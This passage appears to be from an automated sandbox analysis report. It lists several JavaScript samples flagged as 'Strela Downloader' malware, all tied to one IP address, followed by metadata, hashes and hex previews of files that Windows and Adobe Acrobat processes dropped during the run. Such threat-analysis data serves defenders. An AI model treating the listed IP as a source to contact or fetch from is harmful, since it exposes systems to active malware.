	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9742962732217849.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5949401323954377.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073257855780103
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrr:KooCEYhgYEL0In
MD5:	6C10D960E28B2EBB46AA4AC03C8D8EA7
SHA1:	15B7AFACC7B735A19DF277A381E7DAB3BA77E693
SHA-256:	970F1FF16486CA9A6A8DE680826F9A1C6CF21D800E42E5E4912F02F68A1E940F
SHA-512:	ADE89BEEBC98A6792DD4BC0B24C28993FCEDD6768EAE16CE6D9AF4A62BB85079C166484B17C7F4FA2221B0081E7FC4C3168F9C3B1750A2DE31BDAA4C31E8E697
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x212f0041, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220505639538079
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	A264F7A3E5A382B9CAD6DD36557530FE
SHA1:	B433ABBFA664B79B8CA315902139578F42A0E6BD
SHA-256:	FDD7E5D18107F9C899B517FBF1AFA4063803055B5D660A3111A7B7C371DDF7BD
SHA-512:	DAB325CDF382E09C234C2656683FC1EC7501A05729731E3E03A8E87795065BAA1AFA40E1075BD9BEF0D7E2E71D506885AAFDD78FEDBBD1896E239FA7F7B073C7
Malicious:	false
Preview:	!/.A... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................\........}3.................5y......}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07471136695464015
Encrypted:	false
SSDEEP:	3:QSl8YeekrYQMjn13a/fH1vallcVO/lnlZMxZNQl:QSl8zuQM53qv12Oewk
MD5:	4F3986F2C2F89B8CD61B5DC18D383E69
SHA1:	115E67A3F67D4DB7F4E98BE8D1BBAF2AB90846A0
SHA-256:	004202B77EB100F920632E5FFB52950BD5773745D984D8BDE9E76631FAF095B1
SHA-512:	9A5B014FA11E839215678B74B51F59C8A8FF889ABCAD4814995A4A37DCAD72CA3195777AECA0089A3323B964DC1CD701E76EBF232FAB0BF34E7BD419A6D71C57
Malicious:	false
Preview:	.:l......................................;...{.......}.......{A..............{A......{A..........{A]................5y......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.136145633157198
Encrypted:	false
SSDEEP:	6:iO4qV7u34q2Pwkn2nKuAl9OmbnIFUtSqV74F3JZmwsqV74F3DkwOwkn2nKuAl9Oe:7nCIvYfHAahFUtZEFZ/LEFz5JfHAaSJ
MD5:	F1EB38C0327D5AFD9E1BB391D0045D8A
SHA1:	E65B60DF36ECA182EA6490EA4F6790D7D004FAB3
SHA-256:	845AF004F453A4353D46A8109C771701362AD253A44D8C863DF7CD3E3CB2D137
SHA-512:	88FC30BDC5265D3E06F256006EE5C845B9A84145067C42B604D3E8F17F1D6C21EB14D3BA0024E640781B6D35D5735BD6526CB43B7DA5B75BE723935343DD4D99
Malicious:	false
Preview:	2025/01/10-20:02:11.674 17d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:02:11.676 17d0 Recovering log #3.2025/01/10-20:02:11.676 17d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.136145633157198
Encrypted:	false
SSDEEP:	6:iO4qV7u34q2Pwkn2nKuAl9OmbnIFUtSqV74F3JZmwsqV74F3DkwOwkn2nKuAl9Oe:7nCIvYfHAahFUtZEFZ/LEFz5JfHAaSJ
MD5:	F1EB38C0327D5AFD9E1BB391D0045D8A
SHA1:	E65B60DF36ECA182EA6490EA4F6790D7D004FAB3
SHA-256:	845AF004F453A4353D46A8109C771701362AD253A44D8C863DF7CD3E3CB2D137
SHA-512:	88FC30BDC5265D3E06F256006EE5C845B9A84145067C42B604D3E8F17F1D6C21EB14D3BA0024E640781B6D35D5735BD6526CB43B7DA5B75BE723935343DD4D99
Malicious:	false
Preview:	2025/01/10-20:02:11.674 17d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:02:11.676 17d0 Recovering log #3.2025/01/10-20:02:11.676 17d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.070711253445667
Encrypted:	false
SSDEEP:	6:iO4qVmxyq2Pwkn2nKuAl9Ombzo2jMGIFUtSqV5csr1ZmwsqV5cs9RkwOwkn2nKuA:7njvYfHAa8uFUtZ51r1/L5175JfHAa8z
MD5:	580B4D216927CB4CC30C5B13C6079E58
SHA1:	F1352297590F783A9C4EBA7A78CFCCFDFD5A277B
SHA-256:	9918888DBA28E292D438AA0FCE94D159C2BC85B8F56F648C554CB38E0FE8D55B
SHA-512:	C56280173974236FBEB77A5D207DF91FF8328F5E7DA87245EC79C9D41610326BC0E044C57B999B55C66C14DF9ADBBEDA641C71D5742852BE209CE296BF06A779
Malicious:	false
Preview:	2025/01/10-20:02:11.767 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:02:11.771 1ca0 Recovering log #3.2025/01/10-20:02:11.771 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.070711253445667
Encrypted:	false
SSDEEP:	6:iO4qVmxyq2Pwkn2nKuAl9Ombzo2jMGIFUtSqV5csr1ZmwsqV5cs9RkwOwkn2nKuA:7njvYfHAa8uFUtZ51r1/L5175JfHAa8z
MD5:	580B4D216927CB4CC30C5B13C6079E58
SHA1:	F1352297590F783A9C4EBA7A78CFCCFDFD5A277B
SHA-256:	9918888DBA28E292D438AA0FCE94D159C2BC85B8F56F648C554CB38E0FE8D55B
SHA-512:	C56280173974236FBEB77A5D207DF91FF8328F5E7DA87245EC79C9D41610326BC0E044C57B999B55C66C14DF9ADBBEDA641C71D5742852BE209CE296BF06A779
Malicious:	false
Preview:	2025/01/10-20:02:11.767 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:02:11.771 1ca0 Recovering log #3.2025/01/10-20:02:11.771 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\549ae387-70e5-4164-9829-814ab4e35336.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961339469420346
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKEsBdOg2HTcaq3QYiubInP7E4T3y:Y2sRdsjdMHq3QYhbG7nby
MD5:	4DF75760C1211936A667CB64FF1A19A4
SHA1:	541518CF855A0A7A72C7880FB32C00FD606572A4
SHA-256:	0AFBAC95B16A3F1D10AA1C2F9C17322B01E49C9C60644B22FF698DFEBC6D14EF
SHA-512:	DCBE83FD8CCE3BF5151C5899EE6707280F425BD77FCE677210E83C764C9E1C5DB5888262CE2209EC6C57D4153D9200A07067827052DFF82AC64F5A89DD8A52B2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117343547602","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141649},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6139f545-60ee-4647-b811-f39ba26f8980.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6b430b.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.253482781022806
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7pHF:etJCV4FiN/jTN/2r8Mta02fEhgO73goT
MD5:	87646D0FCFF2F6BB72034EAA3E510F51
SHA1:	59B5EC2C5DE8C3BB88E5C4A86AE77227E08BE9ED
SHA-256:	4B12A7EC5B8511E143441A0C9DCB3EA5B9566E7F133D476FF47F18BF3C9DF409
SHA-512:	4C573C0F1DC095734F6CB54435233AE158E9860F4DCCB34F6BAA814B5BAB8369D825CE51B3A7CB0E6E688B6E0BF798AC83FD74BFD9B82D67F38FE27D6C50A059
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.074904037767864
Encrypted:	false
SSDEEP:	6:iO4qVdgyq2Pwkn2nKuAl9OmbzNMxIFUtSqV11ZmwsqVjRkwOwkn2nKuAl9OmbzNq:7nzvYfHAa8jFUtZ11/LF5JfHAa84J
MD5:	566AC86237949C2270B735C372ABBE08
SHA1:	221A57C49AA1340913358B8317831D5785475974
SHA-256:	73A6CE031AE4FA6864EC86C61FDE9D313A790CA5ABDDD410BABDEC24F4AE8DE6
SHA-512:	5B52E207FF7DC23855BEDAD881D9B8F32915A546A8BE0A9387530AA5C6150741E9B75C5DAED8B4E578635A4041074E418B7D132F86E937605B3CA1C2DA40DF23
Malicious:	false
Preview:	2025/01/10-20:02:11.961 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:02:11.962 1ca0 Recovering log #3.2025/01/10-20:02:11.962 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.074904037767864
Encrypted:	false
SSDEEP:	6:iO4qVdgyq2Pwkn2nKuAl9OmbzNMxIFUtSqV11ZmwsqVjRkwOwkn2nKuAl9OmbzNq:7nzvYfHAa8jFUtZ11/LF5JfHAa84J
MD5:	566AC86237949C2270B735C372ABBE08
SHA1:	221A57C49AA1340913358B8317831D5785475974
SHA-256:	73A6CE031AE4FA6864EC86C61FDE9D313A790CA5ABDDD410BABDEC24F4AE8DE6
SHA-512:	5B52E207FF7DC23855BEDAD881D9B8F32915A546A8BE0A9387530AA5C6150741E9B75C5DAED8B4E578635A4041074E418B7D132F86E937605B3CA1C2DA40DF23
Malicious:	false
Preview:	2025/01/10-20:02:11.961 1ca0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:02:11.962 1ca0 Recovering log #3.2025/01/10-20:02:11.962 1ca0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44455781929402
Encrypted:	false
SSDEEP:	384:Se1ci5tOiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:phs3OazzU89UTTgUL
MD5:	82F34F41A866A1F2A3C2AD280B87DEDE
SHA1:	C2724153E1100BDA117B4ACFA9074E5C815AB01D
SHA-256:	3B91015593A2F5CEB4EB305619C0A3CBD4EFB121E62EFA09C99F3939DA8DFCB4
SHA-512:	055B5F013F0080E1D6684FAA86930AB5F0377CD94D3C55677C1355E9E96072A6410ACA9D11B48899907DE4E1B2AC736033CB5211FE15C0150AEECB371BCFC70F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.213719624965333
Encrypted:	false
SSDEEP:	24:7+tLFrNnuwK+qLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfF:7MLLnC+qvmFTIF3XmHjBoGGR+jMz+LhN
MD5:	4382A2695A1DFF0F512D2BF147E27844
SHA1:	EF20C19A23987A085B9E917DED52AB11F9F313DB
SHA-256:	F306610E5FC1B2D796ACADCA2552BEFA67E0D0153A55439085DB9C9CDB7C8EBE
SHA-512:	486801F66F22FA1602E961C445247E9FF37E9C5E109401DA8CBE917A5496D6219CF6643211BE1A605F5F17CD852765AAC5C2F469D16B6E2245BBB1D18743F211
Malicious:	false
Preview:	.... .c........6........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklrn3tK3/tfllXlE/HT8kjNNX8RolJuRdxLlGB9lQRYwpDdt:kKn/eT8yNMa8RdWBwRd
MD5:	08DE62A332A50B05438D93AF94304A8A
SHA1:	ABCF2C4B85820CE2FC7B6958DC9218DAB4C3DF55
SHA-256:	487F05E1689B5EA9FA768077C8DAC12E1B7A8F31EAD839DE81C8E13E12CCD0B8
SHA-512:	5FDD3138763A183FAC86F61092340F2D450DD4BDB503BEB32E6F82F8FFCD8567C1865441D21790F01D7110E78ABB1841D296CF83B24B70CDEE9B492521E95B26
Malicious:	false
Preview:	p...... .........Rv.c..(....................................................... ..........W....l...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kK4oL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:woiDImsLNkPlE99SNxAhUe/3
MD5:	F2E917D277508DB11788042892999067
SHA1:	231B7B1D859106D98CA15D77CFB4CB3088B2DDA1
SHA-256:	A4B9D9239B2CC834F939EE1B21E6E2C5F08FF10AAAEAAC9DA74007066003F274
SHA-512:	28462B4DE22B3E60FF8D5361ED53851EA68880D32088088C1C97BCDC891589A75A0231DED51B4145EE533EEDD79C8F4ABCB9C6E2CAE2FB656F24910B31B00888
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
